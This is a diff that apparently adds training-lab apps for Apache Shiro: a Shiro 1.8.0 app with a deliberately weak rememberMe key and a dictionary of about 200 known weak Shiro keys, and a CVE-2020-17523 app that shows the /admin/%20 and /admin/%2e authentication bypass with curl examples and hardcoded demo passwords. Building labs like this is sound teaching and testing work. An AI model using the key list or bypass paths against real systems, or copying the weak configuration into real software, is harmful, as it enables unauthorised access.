DispatcherType.INCLUDE, DispatcherType.ERROR); + registration.setName("shiroFilter"); + registration.setOrder(1); + return registration; + } + + @Bean + public LifecycleBeanPostProcessor lifecycleBeanPostProcessor() { + return new LifecycleBeanPostProcessor(); + } + + @Bean + public AuthorizationAttributeSourceAdvisor authorizationAttributeSourceAdvisor(SecurityManager securityManager) { + AuthorizationAttributeSourceAdvisor advisor = new AuthorizationAttributeSourceAdvisor(); + advisor.setSecurityManager(securityManager); + return advisor; + } +} diff --git a/shiro-1.8.0/src/main/java/com/myapp/controller/Shiro180Controller.java b/shiro-1.8.0/src/main/java/com/myapp/controller/Shiro180Controller.java new file mode 100644 index 0000000..d5c28b2 --- /dev/null +++ b/shiro-1.8.0/src/main/java/com/myapp/controller/Shiro180Controller.java @@ -0,0 +1,235 @@ +package com.myapp.controller; + +import com.myapp.config.ShiroConfig; +import com.myapp.support.ShiroWeakKeySupport; +import org.apache.shiro.SecurityUtils; +import org.apache.shiro.authc.AuthenticationException; +import org.apache.shiro.authc.UsernamePasswordToken; +import org.apache.shiro.subject.Subject; +import org.apache.shiro.web.mgt.CookieRememberMeManager; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; + +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; + +@RestController +public class Shiro180Controller { + + private final CookieRememberMeManager rememberMeManager; + + public Shiro180Controller(CookieRememberMeManager rememberMeManager) { + this.rememberMeManager = rememberMeManager; + } + + @GetMapping(value = {"/", "/login-page", "/shiro-1.8.0"}, produces = "text/html;charset=UTF-8") + public String index() { + return "\n" + + "\n" + + "\n" + + " \n" + + " \n" + + " Shiro 1.8.0 弱密钥靶场\n" + + " \n" + + "\n" + + "\n" + + "
\n" + + "
\n" + + "

Shiro 1.8.0 弱密钥集成靶场

\n" + + "

这个模块用于演示:即使 Shiro 升级到高版本,如果应用仍把 rememberMe 密钥配置成公开弱值,风险依然存在。这属于应用集成/配置问题,而不是官方历史漏洞版本范围变化。

\n" + + " Shiro 版本: 1.8.0\n" + + " rememberMe 模式: AES-GCM(高版本默认)\n" + + "

当前靶场弱密钥(运行时真实使用的固定公开值):" + ShiroConfig.WEAK_PUBLIC_KEY + "

\n" + + "
\n" + + "
\n" + + "

弱密钥状态

\n" + + "
\n" + + " \n" + + " \n" + + " \n" + + "
\n" + + "
等待检测...
\n" + + "

当前 rememberMe key

\n" + + "
-
\n" + + "

遍历进度

\n" + + "
等待开始...
\n" + + "

脚本 Key 字典

\n" + + "
点击“显示脚本 Key 列表”后加载完整字典。
\n" + + "
\n" + + "
\n" + + "

RememberMe 登录验证

\n" + + "
\n" + + "
\n" + + " \n" + + " \n" + + " \n" + + "
\n" + + "
\n" + + " \n" + + " \n" + + " \n" + + " \n" + + "
\n" + + "
\n" + + "
\n" + + "
\n" + + " \n" + + "\n" + + ""; + } + + @PostMapping(value = "/login", produces = "text/plain;charset=UTF-8") + public String login(@RequestParam String username, + @RequestParam String password, + @RequestParam(defaultValue = "false") boolean rememberMe) { + Subject subject = SecurityUtils.getSubject(); + UsernamePasswordToken token = new UsernamePasswordToken(username, password, rememberMe); + try { + subject.login(token); + return "登录成功,rememberMe=" + rememberMe + "。访问 /profile 查看状态。"; + } catch (AuthenticationException ex) { + return "登录失败:" + ex.getMessage(); + } + } + + @GetMapping(value = {"/weak-key/status", "/rememberme/check"}, produces = "application/json;charset=UTF-8") + public Map weakKeyStatus() { + String currentKey = ShiroWeakKeySupport.extractCurrentKeyBase64(rememberMeManager); + List dictionary = ShiroWeakKeySupport.SCRIPT_KEYS; + boolean inDictionary = currentKey != null && dictionary.contains(currentKey); + boolean isDefaultKey = ShiroWeakKeySupport.DEFAULT_KEY.equals(currentKey); + Integer matchIndex = currentKey == null ? null : dictionary.indexOf(currentKey); + + Map result = new LinkedHashMap(); + result.put("shiroVersion", "1.8.0"); + result.put("currentKey", currentKey); + result.put("runtimeWeakKeyMode", true); + result.put("isWeakConfigured", inDictionary); + result.put("inDictionary", inDictionary); + result.put("isDefaultKey", isDefaultKey); + result.put("matchIndex", matchIndex >= 0 ? matchIndex : null); + result.put("dictionarySize", dictionary.size()); + result.put("message", buildMessage(currentKey, inDictionary, isDefaultKey)); + return result; + } + + @GetMapping(value = "/rememberme/dictionary", produces = "application/json;charset=UTF-8") + public Map rememberMeDictionary() { + Map result = new LinkedHashMap(); + result.put("keys", ShiroWeakKeySupport.SCRIPT_KEYS); + return result; + } + + @GetMapping(value = "/rememberme/scan", produces = "application/json;charset=UTF-8") + public Map rememberMeScan() { + String currentKey = ShiroWeakKeySupport.extractCurrentKeyBase64(rememberMeManager); + List dictionary = ShiroWeakKeySupport.SCRIPT_KEYS; + int checkedCount = 0; + Integer matchIndex = null; + String matchedKey = null; + + for (int i = 0; i < dictionary.size(); i++) { + checkedCount++; + String candidate = dictionary.get(i); + if (candidate.equals(currentKey)) { + matchIndex = i; + matchedKey = candidate; + break; + } + } + + Map result = new LinkedHashMap(); + result.put("currentKey", currentKey); + result.put("checkedCount", checkedCount); + result.put("dictionarySize", dictionary.size()); + result.put("matchIndex", matchIndex); + result.put("matchedKey", matchedKey); + result.put("keys", dictionary); + return result; + } + + @GetMapping(value = "/profile", produces = "text/plain;charset=UTF-8") + public String profile() { + Subject subject = SecurityUtils.getSubject(); + String principal = subject.getPrincipal() == null ? "anonymous" : subject.getPrincipal().toString(); + return "principal=" + principal + + ", authenticated=" + subject.isAuthenticated() + + ", remembered=" + subject.isRemembered(); + } + + @GetMapping(value = "/admin", produces = "text/plain;charset=UTF-8") + public String admin() { + Subject subject = SecurityUtils.getSubject(); + return "admin resource reached by " + subject.getPrincipal(); + } + + @GetMapping(value = "/health", produces = "text/plain;charset=UTF-8") + public String health() { + return "ok"; + } + + private String buildMessage(String currentKey, boolean inDictionary, boolean isDefaultKey) { + if (currentKey == null) { + return "无法从 CookieRememberMeManager 中提取当前 rememberMe key。"; + } + if (isDefaultKey) { + return "当前 rememberMe key 就是 Shiro 默认 key,并且存在于脚本字典中。"; + } + if (inDictionary) { + return "当前 rememberMe key 命中了脚本字典中的弱 key。"; + } + return "当前 rememberMe key 已成功提取,且没有出现在脚本字典中。"; + } +} diff --git a/shiro-1.8.0/src/main/java/com/myapp/support/ShiroWeakKeySupport.java b/shiro-1.8.0/src/main/java/com/myapp/support/ShiroWeakKeySupport.java new file mode 100644 index 0000000..495574d --- /dev/null +++ b/shiro-1.8.0/src/main/java/com/myapp/support/ShiroWeakKeySupport.java @@ -0,0 +1,87 @@ +package com.myapp.support; + +import org.apache.shiro.web.mgt.CookieRememberMeManager; + +import java.lang.reflect.Field; +import java.util.Arrays; +import java.util.Base64; +import java.util.Collections; +import java.util.List; + +public final class ShiroWeakKeySupport { + + public static final String DEFAULT_KEY = "kPH+bIxk5D2deZiIxcaaaA=="; + public static final byte[] DEFAULT_KEY_BYTES = Base64.getDecoder().decode(DEFAULT_KEY); + + public static final List SCRIPT_KEYS = Collections.unmodifiableList(Arrays.asList( + "kPH+bIxk5D2deZiIxcaaaA==", "4AvVhmFLUs0KTA3Kprsdag==", "fCq+/xW488hMTCE+cmJ3FF==", "zSyK5Kp6PZAAjlT+eeNMlg==", "WkhBTkdYSUFPSEVJX0NBVA==", + "RVZBTk5JR0hUTFlfV0FPVQ==", "U3ByaW5nQmxhZGUAAAAAAA==", "cGljYXMAAAAAAAAAAAAAAA==", "d2ViUmVtZW1iZXJNZUtleQ==", "fsHspZw/92PrS3XrPW+vxw==", + "sHdIjUN6tzhl8xZMG3ULCQ==", "WuB+y2gcHRnY2Lg9+Aqmqg==", "ertVhmFLUs0KTA3Kprsdag==", "2itfW92XazYRi5ltW0M2yA==", "6ZmI6I2j3Y+R1aSn5BOlAA==", + "f/SY5TIve5WWzT4aQlABJA==", "Jt3C93kMR9D5e8QzwfsiMw==", "aU1pcmFjbGVpTWlyYWNsZQ==", "XTx6CKLo/SdSgub+OPHSrw==", "8AvVhmFLUs0KTA3Kprsdag==", + "66v1O8keKNV3TTcGPK1wzg==", "Q01TX0JGTFlLRVlfMjAxOQ==", "5AvVhmFLUS0ATA4Kprsdag==", "ZmFsYWRvLnh5ei5zaGlybw==", "0AvVhmFLUs0KTA3Kprsdag==", + "r0e3c16IdVkouZgk1TKVMg==", "Z3VucwAAAAAAAAAAAAAAAA==", "5J7bIJIV0LQSN3c9LPitBQ==", "ZnJlc2h6Y24xMjM0NTY3OA==", "yeAAo1E8BOeAYfBlm4NG9Q==", + "a3dvbmcAAAAAAAAAAAAAAA==", "4BvVhmFLUs0KTA3Kprsdag==", "s0KTA3mFLUprK4AvVhsdag==", "yNeUgSzL/CfiWw1GALg6Ag==", "OY//C4rhfwNxCQAQCrQQ1Q==", + "fCq+/xW488hMTCD+cmJ3aQ==", "ZAvph3dsQs0FSL3SDFAdag==", "MTIzNDU2NzgxMjM0NTY3OA==", "1AvVhdsgUs0FSA3SDFAdag==", "Bf7MfkNR0axGGptozrebag==", + "1QWLxg+NYmxraMoxAXu/Iw==", "6AvVhmFLUs0KTA3Kprsdag==", "6NfXkC7YVCV5DASIrEm1Rg==", "2AvVhdsgUs0FSA3SDFAdag==", "9FvVhtFLUs0KnA3Kprsdyg==", + "OUHYQzxQ/W9e/UjiAGu6rg==", "ClLk69oNcA3m+s0jIMIkpg==", "vXP33AonIp9bFwGl7aT7rA==", "NGk/3cQ6F5/UNPRh8LpMIg==", "MPdCMZ9urzEA50JDlDYYDg==", + "c2hpcm9fYmF0aXMzMgAAAA==", "XgGkgqGqYrix9lI6vxcrRw==", "2A2V+RFLUs+eTA3Kpr+dag==", "5AvVhmFLUs0KTA3Kprsdag==", "3AvVhmFLUs0KTA3Kprsdag==", + "WcfHGU25gNnTxTlmJMeSpw==", "bWljcm9zAAAAAAAAAAAAAA==", "bWluZS1hc3NldC1rZXk6QQ==", "bXRvbnMAAAAAAAAAAAAAAA==", "6ZmI6I2j5Y+R5aSn5ZOlAA==", + "3JvYhmBLUs0ETA5Kprsdag==", "A7UzJgh1+EWj5oBFi+mSgw==", "Is9zJ3pzNh2cgTHB4ua3+Q==", "25BsmdYwjnfcWmnhAciDDg==", "cmVtZW1iZXJNZQAAAAAAAA==", + "7AvVhmFLUs0KTA3Kprsdag==", "3qDVdLawoIr1xFd6ietnwg==", "Y1JxNSPXVwMkyvES/kJGeQ==", "xVmmoltfpb8tTceuT5R7Bw==", "O4pdf+7e+mZe8NyxMTPJmQ==", + "SDKOLKn2J1j/2BHjeZwAoQ==", "a2VlcE9uR29pbmdBbmRGaQ==", "V2hhdCBUaGUgSGVsbAAAAA==", "GAevYnznvgNCURavBhCr1w==", "hBlzKg78ajaZuTE0VLzDDg==", + "2cVtiE83c4lIrELJwKGJUw==", "U3BAbW5nQmxhZGUAAAAAAA==", "9AvVhmFLUs0KTA3Kprsdag==", "SkZpbmFsQmxhZGUAAAAAAA==", "lT2UvDUmQwewm6mMoiw4Ig==", + "HWrBltGvEZc14h9VpMvZWw==", "wGiHplamyXlVB11UXWol8g==", "8BvVhmFLUs0KTA3Kprsdag==", "bya2HkYo57u6fWh5theAWw==", "IduElDUpDDXE677ZkhhKnQ==", + "1tC/xrDYs8ey+sa3emtiYw==", "MTIzNDU2Nzg5MGFiY2RlZg==", "c+3hFGPjbgzGdrC+MHgoRQ==", "rPNqM6uKFCyaL10AK51UkQ==", "5aaC5qKm5oqA5pyvAAAAAA==", + "cGhyYWNrY3RmREUhfiMkZA==", "MzVeSkYyWTI2OFVLZjRzZg==", "YI1+nBV//m7ELrIyDHm6DQ==", "empodDEyMwAAAAAAAAAAAA==", "NsZXjXVklWPZwOfkvk6kUA==", + "ZUdsaGJuSmxibVI2ZHc9PQ==", "L7RioUULEFhRyxM7a2R/Yg==", "i45FVt72K2kLgvFrJtoZRw==", "bXdrXl9eNjY2KjA3Z2otPQ==", "sgIQrqUVxa1OZRRIK3hLZw==", + "tiVV6g3uZBGfgshesAQbjA==", "GsHaWo4m1eNbE0kNSMULhg==", "l8cc6d2xpkT1yFtLIcLHCg==", "KU471rVNQ6k7PQL4SqxgJg==", "6Zm+6I2j5Y+R5aS+5ZOlAA==", + "kPH+bIxk5D2deZiIxcabaA==", "kPH+bIxk5D2deZiIxcacaA==", "3AvVhdAgUs0FSA4SDFAdBg==", "4AvVhdsgUs0F563SDFAdag==", "FL9HL9Yu5bVUJ0PDU1ySvg==", + "5RC7uBZLkByfFfJm22q/Zw==", "eXNmAAAAAAAAAAAAAAAAAA==", "fdCEiK9YvLC668sS43CJ6A==", "FJoQCiz0z5XWz2N2LyxNww==", "HeUZ/LvgkO7nsa18ZyVxWQ==", + "HoTP07fJPKIRLOWoVXmv+Q==", "iycgIIyCatQofd0XXxbzEg==", "m0/5ZZ9L4jjQXn7MREr/bw==", "NoIw91X9GSiCrLCF03ZGZw==", "oPH+bIxk5E2enZiIxcqaaA==", + "QAk0rp8sG0uJC4Ke2baYNA==", "Rb5RN+LofDWJlzWAwsXzxg==", "s2SE9y32PvLeYo+VGFpcKA==", "SrpFBcVD89eTQ2icOD0TMg==", "U0hGX2d1bnMAAAAAAAAAAA==", + "Us0KvVhTeasAm43KFLAeng==", "Ymx1ZXdoYWxlAAAAAAAAAA==", "YWJjZGRjYmFhYmNkZGNiYQ==", "zIiHplamyXlVB11UXWol8g==", "ZjQyMTJiNTJhZGZmYjFjMQ==", + "HOlg7NHb9potm0n5s4ic0Q==", "2AvVhdsgUs0FSA3SaFAdfg==", "4rvVhmFLUs0KAT3Kprsdag==", "AF05JAuyuEB1ouJQ9Y9Phg==", "UGlzMjAxNiVLeUVlXiEjLw==", + "2AvVhdsgERdsSA3SDFAdag==", "QF5HMyZAWDZYRyFnSGhTdQ==", "8AvVhdsgUs0FSA3SDFAdag==", "4AvVhmFLUs5KTA1Kprsdag==", "4WCZSJyqdUQsije93aQIRg==", + "3rvVhmFLUs0KAT3Kprsdag==", "b2EAAAAAAAAAAAAAAAAAAA==", "3AvVhMFLIs0KTA3Kprsdag==", "4AvVhm2LUs0KTA3Kprsdag==", "2AvVCXsxUs0FSA7SYFjdQg==", + "Cj6LnKZNLEowAZrdqyH/Ew==", "3qDVdLawoIr1xFd6ietnsg==", "2AvVhdsgUsOFSA3SDFAdag==", "FP7qKJzdJOGkzoQzo2wTmA==", "wyLZMDifwq3sW1vhhHpgKA==", + "5AvVhCsgUs0FSA3SDFAdag==", "pbnA+Qzen1vjV3rNqQBLHg==", "GhrF5zLfq1Dtadd1jlohhA==", "2AvVhmFLUs0KTA3Kprsdag==", "mIccZhQt6EBHrZIyw1FAXQ==", + "4AvVhmFLUs0KTA3Kprseaf==", "GHxH6G3LFh8Zb3NwoRgfFA==", "B9rPF8FHhxKJZ9k63ik7kQ==", "3AvVhmFLUs0KTA3KaTHGFg==", "M2djA70UBBUPDibGZBRvrA==", + "QDFCnfkLUs0KTA3Kprsdag==", "2adsfasdqerqerqewradsf==", "3Av2hmFLAs0BTA3Kprsd6E==", "4AvVhmFLUsOKTA3Kprsdag==", "Z3VucwACAOVAKALACAADSA==", + "4AvVhmFLUs0KTA3KAAAAAA==", "sBv2t3okbdm3U0r2EVcSzB==", "5oiR5piv5p2h5ZK46bG8IQ==", "TGMPe7lGO/Gbr38QiJu1/w==", "4AvVhmFLUs0TTA3Kprsdag==", + "YWdlbnRAZG1AMjAxOHN3Zg==", "Z3VucwAAAAAAAAAAAAABBB==", "AztiX2RUqhc7dhOzl1Mj8Q==", "FjbNm1avvGmWE9CY2HqV75==", "QVN1bm5uJ3MgU3Vuc2l0ZQ==", + "9Ami6v2G5Y+r5aPnE4OlBB==", "2AvVidsaUSofSA3SDFAdog==", "3AvVhdAgUs1FSA4SDFAdBg==", "R29yZG9uV2ViAAAAAAAAAA==", "wrjUh2ttBPQLnT4JVhriug==", + "w793pPq5ZVBKkj8OhV4KaQ==", "c2hvdWtlLXBsdXMuMjAxNg==", "pyyX1c5x2f0LZZ7VKZXjKO==", "duhfin37x6chw29jsne45m==", "QUxQSEFNWVNPRlRCVUlMRA==", + "YVd4dmRtVjViM1UlM0QIdn==", "YnlhdnMAAAAAAAAAAAAAAA==", "YystomRZLMUjiK0Q1+LFdw==", "2AvVhdsgUs0FSA3SDFAder==", "A+kWR7o9O0/G/W6aOGesRA==", + "kPv59vyqzj00x11LXJZTjJ2UHW48jzHN" + )); + + private ShiroWeakKeySupport() { + } + + public static String extractCurrentKeyBase64(CookieRememberMeManager rememberMeManager) { + Object key = readField(rememberMeManager, "encryptionCipherKey"); + if (!(key instanceof byte[])) { + key = readField(rememberMeManager, "decryptionCipherKey"); + } + if (key instanceof byte[]) { + return Base64.getEncoder().encodeToString((byte[]) key); + } + return null; + } + + private static Object readField(Object target, String fieldName) { + Class type = target.getClass(); + while (type != null) { + try { + Field field = type.getDeclaredField(fieldName); + field.setAccessible(true); + return field.get(target); + } catch (NoSuchFieldException ex) { + type = type.getSuperclass(); + } catch (IllegalAccessException ex) { + throw new IllegalStateException("Unable to read field: " + fieldName, ex); + } + } + return null; + } +} diff --git a/shiro-1.8.0/src/main/resources/application.properties b/shiro-1.8.0/src/main/resources/application.properties new file mode 100644 index 0000000..49b7186 --- /dev/null +++ b/shiro-1.8.0/src/main/resources/application.properties @@ -0,0 +1,3 @@ +server.port=8080 +server.session.timeout=30 +logging.level.org.apache.shiro=INFO diff --git a/shiro-cve-2020-17523/Dockerfile b/shiro-cve-2020-17523/Dockerfile new file mode 100644 index 0000000..c509c02 --- /dev/null +++ b/shiro-cve-2020-17523/Dockerfile @@ -0,0 +1,10 @@ +FROM wushangleon/java:jdk8u112_maven as builder + +COPY . /opt/shiro-cve-2020-17523 +WORKDIR /opt/shiro-cve-2020-17523 +RUN mvn package -DskipTests + +FROM wushangleon/java:jdk8u112 +COPY --from=builder /opt/shiro-cve-2020-17523/target/shiro-cve-2020-17523-1.0-SNAPSHOT.jar /opt/app.jar +EXPOSE 8080 +CMD ["java", "-jar", "/opt/app.jar"] diff --git a/shiro-cve-2020-17523/Dockerfile_local b/shiro-cve-2020-17523/Dockerfile_local new file mode 100644 index 0000000..36a3b43 --- /dev/null +++ b/shiro-cve-2020-17523/Dockerfile_local @@ -0,0 +1,4 @@ +FROM wushangleon/java:jdk8u112 +COPY target/shiro-cve-2020-17523-1.0-SNAPSHOT.jar /opt/app.jar +EXPOSE 8080 +CMD ["java", "-jar", "/opt/app.jar"] diff --git a/shiro-cve-2020-17523/docker-compose.yaml b/shiro-cve-2020-17523/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/shiro-cve-2020-17523/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/microservice-b-service/pom.xml b/shiro-cve-2020-17523/pom.xml similarity index 58% rename from microservice-b-service/pom.xml rename to shiro-cve-2020-17523/pom.xml index b10d7e7..b6fc7a2 100644 --- a/microservice-b-service/pom.xml +++ b/shiro-cve-2020-17523/pom.xml @@ -5,43 +5,33 @@ 4.0.0 org.example - microservice-b-service + shiro-cve-2020-17523 1.0-SNAPSHOT - 8 - 8 + 1.8 + 1.8 + 1.8 + org.springframework.boot spring-boot-starter-parent - 2.5.9 + 1.5.22.RELEASE + - - org.springframework.cloud - spring-cloud-starter-netflix-eureka-client - org.springframework.boot spring-boot-starter-web - RELEASE - compile + + + org.apache.shiro + shiro-spring + 1.7.0 - - - - org.springframework.cloud - spring-cloud-dependencies - 2020.0.4 - pom - import - - - - @@ -51,7 +41,7 @@ org.apache.maven.plugins maven-compiler-plugin - 3.1 + 3.1 1.8 1.8 @@ -60,13 +50,13 @@ org.apache.maven.plugins maven-resources-plugin - 3.0.2 + 3.0.2 org.apache.maven.plugins maven-jar-plugin - 2.4 + 2.4 - \ No newline at end of file + diff --git a/shiro-cve-2020-17523/src/main/java/com/myapp/MyApplication.java b/shiro-cve-2020-17523/src/main/java/com/myapp/MyApplication.java new file mode 100644 index 0000000..0038ea0 --- /dev/null +++ b/shiro-cve-2020-17523/src/main/java/com/myapp/MyApplication.java @@ -0,0 +1,12 @@ +package com.myapp; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +@SpringBootApplication +public class MyApplication { + + public static void main(String[] args) { + SpringApplication.run(MyApplication.class, args); + } +} diff --git a/shiro-cve-2020-17523/src/main/java/com/myapp/config/ShiroConfig.java b/shiro-cve-2020-17523/src/main/java/com/myapp/config/ShiroConfig.java new file mode 100644 index 0000000..cbba734 --- /dev/null +++ b/shiro-cve-2020-17523/src/main/java/com/myapp/config/ShiroConfig.java @@ -0,0 +1,84 @@ +package com.myapp.config; + +import org.apache.shiro.mgt.SecurityManager; +import org.apache.shiro.realm.Realm; +import org.apache.shiro.realm.SimpleAccountRealm; +import org.apache.shiro.spring.LifecycleBeanPostProcessor; +import org.apache.shiro.spring.security.interceptor.AuthorizationAttributeSourceAdvisor; +import org.apache.shiro.spring.web.ShiroFilterFactoryBean; +import org.apache.shiro.web.mgt.DefaultWebSecurityManager; +import org.springframework.boot.web.servlet.FilterRegistrationBean; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.web.filter.DelegatingFilterProxy; + +import javax.servlet.DispatcherType; +import java.util.LinkedHashMap; +import java.util.Map; + +@Configuration +public class ShiroConfig { + + @Bean + public Realm realm() { + SimpleAccountRealm realm = new SimpleAccountRealm(); + realm.addAccount("admin", "admin123", "admin"); + realm.addAccount("user", "user123", "user"); + return realm; + } + + @Bean + public SecurityManager securityManager(Realm realm) { + DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager(); + securityManager.setRealm(realm); + return securityManager; + } + + @Bean(name = "shiroFilter") + public ShiroFilterFactoryBean shiroFilter(SecurityManager securityManager) { + ShiroFilterFactoryBean factoryBean = new ShiroFilterFactoryBean(); + factoryBean.setSecurityManager(securityManager); + factoryBean.setLoginUrl("/login-page"); + factoryBean.setSuccessUrl("/whoami"); + factoryBean.setUnauthorizedUrl("/login-page"); + + Map chain = new LinkedHashMap(); + chain.put("/", "anon"); + chain.put("/login-page", "anon"); + chain.put("/shiro-cve-2020-17523", "anon"); + chain.put("/login", "anon"); + chain.put("/bypass/info", "anon"); + chain.put("/health", "anon"); + chain.put("/logout", "logout"); + chain.put("/admin/*", "authc"); + chain.put("/whoami", "authc"); + chain.put("/**", "anon"); + factoryBean.setFilterChainDefinitionMap(chain); + return factoryBean; + } + + @Bean + public FilterRegistrationBean shiroFilterRegistration() { + FilterRegistrationBean registration = new FilterRegistrationBean(); + DelegatingFilterProxy filterProxy = new DelegatingFilterProxy("shiroFilter"); + filterProxy.setTargetFilterLifecycle(true); + registration.setFilter(filterProxy); + registration.addUrlPatterns("/*"); + registration.setDispatcherTypes(DispatcherType.REQUEST, DispatcherType.FORWARD, DispatcherType.INCLUDE, DispatcherType.ERROR); + registration.setName("shiroFilter"); + registration.setOrder(1); + return registration; + } + + @Bean + public LifecycleBeanPostProcessor lifecycleBeanPostProcessor() { + return new LifecycleBeanPostProcessor(); + } + + @Bean + public AuthorizationAttributeSourceAdvisor authorizationAttributeSourceAdvisor(SecurityManager securityManager) { + AuthorizationAttributeSourceAdvisor advisor = new AuthorizationAttributeSourceAdvisor(); + advisor.setSecurityManager(securityManager); + return advisor; + } +} diff --git a/shiro-cve-2020-17523/src/main/java/com/myapp/config/WebMvcConfig.java b/shiro-cve-2020-17523/src/main/java/com/myapp/config/WebMvcConfig.java new file mode 100644 index 0000000..385fc75 --- /dev/null +++ b/shiro-cve-2020-17523/src/main/java/com/myapp/config/WebMvcConfig.java @@ -0,0 +1,21 @@ +package com.myapp.config; + +import org.springframework.context.annotation.Configuration; +import org.springframework.web.servlet.config.annotation.PathMatchConfigurer; +import org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter; +import org.springframework.web.util.UrlPathHelper; + +@Configuration +public class WebMvcConfig extends WebMvcConfigurerAdapter { + + @Override + public void configurePathMatch(PathMatchConfigurer configurer) { + // Keep full request path for the /admin/. variant so Spring can still dispatch it + // after Shiro's path matching strips the trailing semantics differently. + UrlPathHelper urlPathHelper = new UrlPathHelper(); + urlPathHelper.setAlwaysUseFullPath(true); + configurer.setUrlPathHelper(urlPathHelper); + configurer.setUseSuffixPatternMatch(false); + configurer.setUseTrailingSlashMatch(true); + } +} diff --git a/shiro-cve-2020-17523/src/main/java/com/myapp/controller/ShiroCve202017523Controller.java b/shiro-cve-2020-17523/src/main/java/com/myapp/controller/ShiroCve202017523Controller.java new file mode 100644 index 0000000..9153d88 --- /dev/null +++ b/shiro-cve-2020-17523/src/main/java/com/myapp/controller/ShiroCve202017523Controller.java @@ -0,0 +1,178 @@ +package com.myapp.controller; + +import org.apache.shiro.SecurityUtils; +import org.apache.shiro.authc.AuthenticationException; +import org.apache.shiro.authc.UsernamePasswordToken; +import org.apache.shiro.subject.Subject; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; + +import java.util.Arrays; +import java.util.LinkedHashMap; +import java.util.Map; + +@RestController +public class ShiroCve202017523Controller { + + @GetMapping(value = {"/", "/login-page", "/shiro-cve-2020-17523"}, produces = "text/html;charset=UTF-8") + public String index() { + return "\n" + + "\n" + + "\n" + + " \n" + + " \n" + + " Shiro CVE-2020-17523 靶场\n" + + " \n" + + "\n" + + "\n" + + "
\n" + + "
\n" + + "

Apache Shiro 身份认证绕过靶场

\n" + + "

这个模块对应 CVE-2020-17523,参考 jweny 的项目和文章思路,核心是 /admin/* 规则在 Shiro 路径匹配与 Spring 路径分发之间出现差异,从而产生认证绕过。

\n" + + " Shiro 1.7.0\n" + + " Spring Boot\n" + + " 绕过一: /admin/%20\n" + + " 绕过二: /admin/%2e\n" + + "
\n" + + "
\n" + + "
\n" + + "

登录对照

\n" + + "
\n" + + "
\n" + + " \n" + + " \n" + + "
\n" + + "
\n" + + " \n" + + " \n" + + " \n" + + " \n" + + "
\n" + + "
\n" + + "
\n" + + "
\n" + + "

绕过入口

\n" + + "

未登录情况下,正常访问 /admin/dashboard 应该被拦截;而下面两类请求用于观察绕过差异。

\n" + + "
\n" + + " \n" + + " \n" + + " \n" + + " \n" + + "
\n" + + "
\n" + + "
\n" + + "

Curl 示例

\n" + + "
curl -i \"http://宿主机IP:9966/admin/dashboard\"\ncurl -i \"http://宿主机IP:9966/admin/%20\"\ncurl -i \"http://宿主机IP:9966/admin/%2e\"
\n" + + "
\n" + + "
\n" + + "

辅助入口

\n" + + "

/bypass/info

\n" + + "

/admin/dashboard

\n" + + "

/admin/%20

\n" + + "

/admin/%2e

\n" + + "
\n" + + "
\n" + + "
\n" + + "\n" + + ""; + } + + @PostMapping(value = "/login", produces = "text/plain;charset=UTF-8") + public String login(@RequestParam String username, @RequestParam String password) { + Subject subject = SecurityUtils.getSubject(); + UsernamePasswordToken token = new UsernamePasswordToken(username, password); + try { + subject.login(token); + return "登录成功,访问 /whoami 或 /admin/dashboard 查看状态。"; + } catch (AuthenticationException ex) { + return "登录失败:" + ex.getClass().getSimpleName(); + } + } + + @GetMapping(value = "/whoami", produces = "text/plain;charset=UTF-8") + public String whoami() { + Subject subject = SecurityUtils.getSubject(); + return "principal=" + subject.getPrincipal() + + ", authenticated=" + subject.isAuthenticated() + + ", remembered=" + subject.isRemembered(); + } + + @GetMapping(value = "/admin/dashboard", produces = "text/plain;charset=UTF-8") + public String adminDashboard() { + Subject subject = SecurityUtils.getSubject(); + return renderAdminResource("normal", subject); + } + + @GetMapping(value = {"/admin/ ", "/admin/ /"}, produces = "text/plain;charset=UTF-8") + public String adminSpaceBypass() { + Subject subject = SecurityUtils.getSubject(); + return renderAdminResource("space-bypass", subject); + } + + @GetMapping(value = {"/admin/.", "/admin/./"}, produces = "text/plain;charset=UTF-8") + public String adminDotBypass() { + Subject subject = SecurityUtils.getSubject(); + return renderAdminResource("dot-bypass", subject); + } + + @GetMapping(value = "/bypass/info", produces = "application/json;charset=UTF-8") + public Map bypassInfo() { + Map result = new LinkedHashMap(); + result.put("title", "Apache Shiro Authentication Bypass Lab"); + result.put("cve", "CVE-2020-17523"); + result.put("shiroVersion", "1.7.0"); + result.put("protectedPattern", "/admin/*"); + result.put("normalBlockedPath", "/admin/dashboard"); + result.put("bypassPaths", Arrays.asList("/admin/%20", "/admin/%20/", "/admin/%2e", "/admin/%2e/")); + result.put("notes", Arrays.asList( + "空格变体利用 Shiro tokenize trim 行为导致 /admin/* 与 /admin/ 空白段不匹配。", + "点号变体依赖 Spring full path 场景,/admin/. 归一化后仍可被 Spring 分发到控制器。", + "未登录时先访问 /admin/dashboard 观察正常拦截,再访问绕过路径对比。" + )); + return result; + } + + @GetMapping(value = "/health", produces = "text/plain;charset=UTF-8") + public String health() { + return "ok"; + } + + private String renderAdminResource(String accessMode, Subject subject) { + String principal = subject.getPrincipal() == null ? "anonymous" : subject.getPrincipal().toString(); + String routeLabel; + if ("space-bypass".equals(accessMode)) { + routeLabel = "special path /admin/%20"; + } else if ("dot-bypass".equals(accessMode)) { + routeLabel = "special path /admin/%2e"; + } else { + routeLabel = "normal protected path /admin/dashboard"; + } + + return "admin dashboard resource\n" + + "accessMode=" + accessMode + "\n" + + "route=" + routeLabel + "\n" + + "principal=" + principal + "\n" + + "authenticated=" + subject.isAuthenticated() + "\n" + + "remembered=" + subject.isRemembered() + "\n" + + "note=" + ("normal".equals(accessMode) + ? "this is the ordinary protected admin resource" + : "this is the same admin-style resource reached through a special bypass path"); + } +} diff 